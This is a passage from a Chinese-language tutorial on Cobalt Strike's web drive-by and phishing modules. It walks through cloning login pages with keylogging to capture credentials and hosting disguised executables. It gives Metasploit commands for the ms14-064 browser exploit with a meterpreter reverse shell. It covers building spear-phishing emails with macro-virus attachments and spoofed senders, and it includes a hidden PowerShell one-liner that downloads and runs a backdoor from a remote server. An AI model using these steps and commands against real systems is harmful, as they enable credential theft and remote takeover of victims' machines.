点击Attacks–>Web Drive-by–>System Profiler。

配置完后,当用户打开配置后的链接,我们可以在三个地方进行观察

1
2
3
1、View --> Applications
2、View --> Web Log
3、Cobalt Strike --> Visualization --> Target Table

目标用户打开链接时,我们在CS上就能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。

注意的一点是如果 Cobalt Strike 的 web 服务器收到了lynx、wget 或 curl 的请求,CS会自动返回一个 404 页面,这样做是为了防御蓝队的窥探。

3.5.3 Clone Site

点击Attacks–>Web Drive-by–>Clone Site。

填写需要克隆的网站url地址、本地的url地址、以及对应的端口号即可,这里记得要开启键盘记录。

点击Clone会生成一个链接。

访问此链接与克隆的网址完全一致。

将生成的链接发送给目标用户,若目标用户输入账号及密码进行登录,我们就可以在View–>Web Log中得到用户输入的内容。

3.5.4 Host File

点击Attacks–>Web Drive-by–>Host File。

上传文件artifact.exe,填入本地的URL、Host及端口即可。

点击launch生成下载链接。

将生成的下载链接发送给目标用户,若目标用户访问链接并运行了下载文件。目标主机就会成功上线。

3.5.5 Clone Site + Host File

网站下载模块也可以与网站克隆模块进行组合使用,具体如下。

首先克隆一个网站,然后填入需要克隆的URL地址,然后在Attack中添加刚刚生成的下载链接即可。

点击Clone,会生成一个链接。

将生成的链接发送给目标用户,在目标用户访问时会提示是否下载qq.exe文件,当客户端下载并点击运行。

Cobalt Strike监听到有受害人主机就会成功上线。

3.5.6 Clone Site + MSF

这里我们使用 metasploit中的ms14-064溢出漏洞与Cobalt Strik进行钓鱼攻击。具体步骤如下:

打开metasploit,使用ms14-064模块,并如下配置参数。

1
2
3
4
5
6
7
use exploit/windows/browser/ms14_064_ole_code_execution
set SRVHOST 10.251.0.33
set SRVPORT 8080
set payload windows/meterpreter/reverse_tcp
set lhost 10.251.0.33
set lport 6666
exploit -j

最后运行exploit -j,-j 是指作为job开始运行,即在后台运行。

打开CS中的Clone Site模块,输入需要克隆的网站地址及本地的URL等信息。然后在Attack中填入刚刚生成的溢出利用代码。

然后通过Clone生成一个链接,将链接发送给目标用户。

若目标用户使用IE浏览器访问链接,便会返回meterpreter通道。

3.5.7 Spear Phish

Spear Phish又叫鱼叉式网络钓鱼(Spear phishing)指一种源于亚洲与东欧只针对特定目标进行攻击的网络钓鱼攻击。

由于鱼叉式网络钓鱼锁定之对象并非一般个人,而是特定公司、组织成员,故受窃信息已非一般网络钓鱼所窃取之个人资料,而是其他高度敏感性资料,如知识产权及商业机密。

网络钓鱼是指诱导人们连接那些黑客已经锁定的目标。这种攻击方法的成功率很高,也非常常见。点击链接、打开表格或者连接其他一些文件都会感染病毒。一次简单的点击相当于为攻击者开启了一扇电子门,这样他就可以接触到你的内部弱点了。因为你已经同意他进入,他能够接触弱点,然后挖掘信息和授权连接。

用CS进行钓鱼需要四个步骤:

1、创建一个目标清单

2、制作一个邮件模板或者使用之前制作好的模板

3、选择一个用来发送邮件的邮件服务器

4、发送邮件

点击Attacks–>Spear Phish。

下面简单介绍一下需要配置的一些参数。

targets是要发送邮箱地址的文件:

1
2
3
123123@qq.com
admin@qq.com
admin@163.com

template 是要发送邮件的模板,这个可以在个人邮箱中导出一个即可

attachment 放入我们制作好的宏病毒

embed url 填写我们制作好的钓鱼网站

Mail Server 填写本地搭建或者网上公开使用的smtp服务器

Bounce To 模仿发件人,自己添写即可

首先先要创建一个文件,用于存放要进行钓鱼攻击的邮箱。

然后再看看怎么导出模板文件,具体步骤如下。

1.打开qq邮箱,选择需要导出的模板文件,这里我以【X情报社区】积分即将下线提醒的邮件为例。

2.选择导出为eml文件。

3.然后将导出的文件保存到指定路径即可。

4.开启SMTP服务器

再导出模板文件以后,我们需要先开启SMTP服务器,这里以网易邮箱为例。在https://mail.163.com/注册一个163邮箱。

登陆邮箱,开启smtp服务。

在开启smtp服务时,系统会要求你发送一条短信。

在发送完短信以后,系统会给我们一个授权密码,用于在第三方服务器上使用smtp服务。

最后通过Clone Site创建一个钓鱼网站,进行钓鱼攻击,这里以克隆tom邮箱为例。

准备就绪,现在开始制作钓鱼邮件,填入需要进行填写的内容。

查看send email,可以发现邮件成功发送。

这时候打开邮箱,也可以看到成功收到了邮件。

这时候若目标用户下载附件并打开,且在office开启了宏功能。主机就会成功上线。

在用户点击任意链接后,就会跳转到我们所创建的钓鱼网站,并会提示是否下载qq.exe。

若用户点击保存并运行,主机也会成功上线。而且如果目标主机在登陆框中输入了用户名密码,输入的内容也将被我们所得到。

3.5.8 Scripted Web Delivery(S)

点击Attacks–>Web Drive-by–>Scripted Web Delivery(S)

设置监听器,选择需要使用的payload类型,这里以powershell为例。

点击Launch后,会生成一段powershell利用代码。

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.251.0.35:80/a'))"

在目标机器上执行这段代码,就会从服务器上下载后门文件,主机就会成功上线。

参考资料